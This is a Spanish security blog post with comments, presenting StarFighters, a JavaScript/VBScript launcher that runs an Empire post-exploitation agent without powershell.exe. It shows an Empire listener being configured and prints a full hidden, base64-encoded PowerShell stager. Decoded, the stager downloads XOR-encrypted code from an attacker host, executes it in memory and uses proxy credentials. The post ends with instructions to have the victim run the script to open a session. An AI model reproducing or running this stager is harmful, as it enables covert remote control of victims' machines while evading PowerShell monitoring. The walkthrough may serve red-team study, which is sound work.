StartFighters: un launcher de Empire en js/vbs sin necesidad de PowerShell.exe

Siguiendo el hilo de entradas sobre PowerShell hoy traemos StartFighters, un Launcher de Empire en VBScript/Javascript que se ejecuta dentro de su propio Host de PowerShell, embebido en JavaScript mediante DotNetToJScript. Y es que si hace varios días veíamos cómo ejecutar PowerShell sólo con dlls, mediante rundll32, con esta herramienta podremos también ejecutar un agente de Empire sin powershell.exe, sólo ejecutando un script en vbs o js.

Recordemos que el launcher_vbs que trae por defecto Empire llama al stager con powershell.exe -NoP -sta -NonI -W Hidden -Enc ... así que está herramienta puede resultarnos bastante útil en algunos entornos...

1. Para probarla empezaremos levantando un listener en PowerShell Empire (en nuestro caso el mod de Hackplayers).
root@poc1lg4:/tools/powershell/Empire-mod-Hackplayers# ./empire 
[*] Loading modules from: /tools/powershell/Empire-mod-Hackplayers/lib/modules/

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 2.0 Mod: HackPlayers 
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================
 __    __       ___       ______  __  ___                
|  |  |  |     /   \     /      ||  |/  /                
|  |__|  |    /  ^  \   |  ,----'|  '  /                 
|   __   |   /  /_\  \  |  |     |    <                  
|  |  |  |  /  _____  \ |  `----.|  .  \                 
|__|  |__| /__/     \__\ \______||__|\__\                
 _______ .___  ___. .______    __  .______       _______ 
|   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
|  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__   
|   __|  |  |\/|  | |   ___/  |  | |      /     |   __|  
|  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____ 
|_______||__|  |__| | _|      |__| | _| `._____||_______|  Mod: HackPlayers

       209 modules currently loaded
       0 listeners currently active
       0 agents currently active

(Empire) > listeners
[!] No listeners currently active 

(Empire: listeners) > set Host http://192.168.1.180:8888
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.180:8888        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8888                             Port for the listener.

(Empire: listeners) > execute
[*] Listener 'test' successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.1.180:8888            native    5/0.0

2. A continuación ejecutaremos el comando Launcher para generar el código para iniciar el proceso del staging.

(Empire: listeners) > launcher test
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4ARQBUAC4AUwBFAFIAdgBpAGMAZQBQAE8AaQBuAFQATQBhAE4AYQBHAEUAUgBdADoAOgBFAFgAUABlAEMAVAAxADAAMABDAG8AbgB0AGkATgB1AGUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAFcALQBPAEIAagBlAEMAVAAgAFMAeQBTAFQARQBtAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAQwAuAEgAZQBhAEQAZQByAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAHgAWQAgAD0AIABbAFMAeQBzAFQAZQBNAC4ATgBFAHQALgBXAEUAQgBSAEUAcQBVAEUAcwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AeABZADsAJABXAEMALgBQAFIATwBYAHkALgBDAFIARQBkAGUAbgB0AEkAYQBMAFMAIAA9ACAAWwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AQwBSAEUAZABlAE4AdABpAGEATABDAGEAQwBoAEUAXQA6ADoARABFAEYAYQBVAEwAdABOAEUAVAB3AG8AUgBLAEMAcgBlAEQARQBuAHQAaQBhAEwAcwA7ACQASwA9ACcANQBcAGsAcAB8AE0ALwAmACwASwBlAGQAbAAkAEMAagArAFkAQQB+AFYANgBKAEIAKgBaADQAdwBvAH0AdQBxACcAOwAkAGkAPQAwADsAWwBDAEgAYQBSAFsAXQBdACQAQgA9ACgAWwBDAGgAQQByAFsAXQBdACgAJABXAEMALgBEAE8AVwBuAEwATwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADgAMAA6ADgAOAA4ADgALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABvAHIAJABrAFsAJABJACsAKwAlACQAawAuAEwARQBuAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAG8ASQBOACcAJwApAA==

Si queréis entender un poquito más qué hace este comando de una única línea podéis decodificar el código en base64:

[SyStEm.NET.SERvicePOinTMaNaGER]::EXPeCT100ContiNue = 0;$wC=NeW-OBjeCT SySTEm.NET.WEBClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDerS.ADD('User-Agent',$u);$Wc.PrOxY = [SysTeM.NEt.WEBREqUEsT]::DeFAULtWeBPRoxY;$WC.PROXy.CREdentIaLS = [SystEm.NET.CREdeNtiaLCaChE]::DEFaULtNETwoRKCreDEntiaLs;$K='5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq';$i=0;[CHaR[]]$B=([ChAr[]]($WC.DOWnLOadString("http://192.168.1.180:8888/index.asp")))|%{$_-BXor$k[$I++%$k.LEngTH]};IEX ($b-joIN'')

3. El siguiente paso será pegar el código en base64 como valor de la variable EncodedPayload:

* JavaScript:

  var EncodedPayload = "Pega el código codificado del Launcher aquí"

* VBScript:
 
  Dim EncodedPayload: EncodedPayload = "Pega el código codificado del Launcher aquí"



4. Finalmente, en el equipo del cliente de la víctima ejecutamos: wscript.exe StarFighter.js o StarFighter.vbs, o hacemos doble clic dentro del Explorer para obtener la sesión correspondiente:




Github: https://github.com/Cn33liz/StarFighters

Comentarios

  1. Funciona de maravilla, pero a la hora de intentar hacer un bypass de UAC o similar empieza a hacer aguas.
    Lo que me llama la atención, sobre todo, es que DotNetToJScript hacía unos scripts que trabajan muy lento. En comparación con él StarFighters es MUY RÁPIDO. Hasta responde antes que el PowerShell original lanzando el launcher a mano.

    ResponderEliminar
  2. Ya tenemos también un meterpreter pasado por DotNetToJScript.
    https://github.com/Cn33liz/VBSMeter

    ResponderEliminar

Publicar un comentario